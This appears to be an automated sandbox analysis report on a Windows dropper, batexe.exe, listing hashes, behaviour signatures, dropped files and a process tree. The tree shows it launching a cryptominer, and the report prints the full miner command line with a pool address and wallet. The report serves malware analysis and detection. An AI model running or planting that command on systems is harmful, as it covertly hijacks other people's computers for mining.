73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13-02-2024 21:03

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
872	b2e.exe
2432	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2432	cpuminer-sse2.exe
2432	cpuminer-sse2.exe
2432	cpuminer-sse2.exe
2432	cpuminer-sse2.exe
2432	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2864-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 872	2864	batexe.exe	75
PID 2864 wrote to memory of 872	2864	batexe.exe	75
PID 2864 wrote to memory of 872	2864	batexe.exe	75
PID 872 wrote to memory of 1800	872	b2e.exe	76
PID 872 wrote to memory of 1800	872	b2e.exe	76
PID 872 wrote to memory of 1800	872	b2e.exe	76
PID 1800 wrote to memory of 2432	1800	cmd.exe	79
PID 1800 wrote to memory of 2432	1800	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9B07.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1800
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe

Filesize
512KB

MD5
e4d2817f5e794155ac4a8a1445b9d728

SHA1
07f6972ab84878cee3a3e158cf9b0b27c8ad175d

SHA256
24781b2a837565d59faae5eff35a839726a5aa2f952f46e5e5b593f53ab6774b

SHA512
9ed2839db8465f9eb07d9bb2d29e1a35cc1c2e0b8c8f52007248752df018c899135e6d3f944e7e1363b3d5fe4928ccb71725fcaafedfd3cd496307619cf164f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe

Filesize
9.8MB

MD5
5e5dcc5b433540be8eacce6881caad4b

SHA1
cd8edf385720118131ec1589261f7a062ec19d79

SHA256
1d7fd1a8eee436af7b88be178a4ad6e242019a2083ace4b4311563bb9ac4b12f

SHA512
11d781e20788eaaac80b498acf919590d3bd53ccad007f10953609acc1b5cbc02d838d0aa3e7aba4a4fc185d7c40e6b8e2a4bd859dd6dae6ebec5231870c8d05

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B07.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.6MB

MD5
3b4304576765f5ce0b4121eb9debdecc

SHA1
b24b3945b3a46ae0602bca5147fbd16d3b3302c7

SHA256
f859c9932a468ca791866772dec9c0a6d48b21440476e428739c158426102fdc

SHA512
de8667f53c07c1a2a3a82237091f925b96a243dec6bb9aeb5c9d4981dbdeacea6449a00643546bc194defa27864d26ce3c2d3cca3f0096abc51853da5092810c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.6MB

MD5
95b95f76a212207450f7c621a00892fb

SHA1
d3050f666a56d4377f8b8335b2eb2937b1b6fa7d

SHA256
cdfbb5ebbd21f1a9b1fcd8c220f2a78012ca3442d5370a3d3e9638fd970ea5cb

SHA512
f85feae125964ea7e2bea33958ab6804d2952d2f7764d79d103bc92fd4f0e9dd06c9d6fe9719e0357718d93471f26139659acd61ae737aacd4d9df55cb13b45e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.2MB

MD5
727856e922508da274cf97f719ba9af3

SHA1
4c9c22226efa6f21a3e826b3e7854c80f82800b6

SHA256
53414d5386cf6e917aa873ccc5a9461a8248ef1a3651f7e4e8bbf9c969d41538

SHA512
4aa1889bb9561e0338ced63e52099ab839ee7bd36b1ebfa7d7f9f351e3bed3d4bdb1360bfdd0d2a06a814ccc22865b0645cc11847d2b25facc3324873ba7ba1d

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/872-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/872-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2432-42-0x000000006F6F0000-0x000000006F788000-memory.dmp

Filesize
608KB

Download
memory/2432-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2432-44-0x0000000000EC0000-0x0000000002775000-memory.dmp

Filesize
24.7MB

Download
memory/2432-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2432-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2432-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2864-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download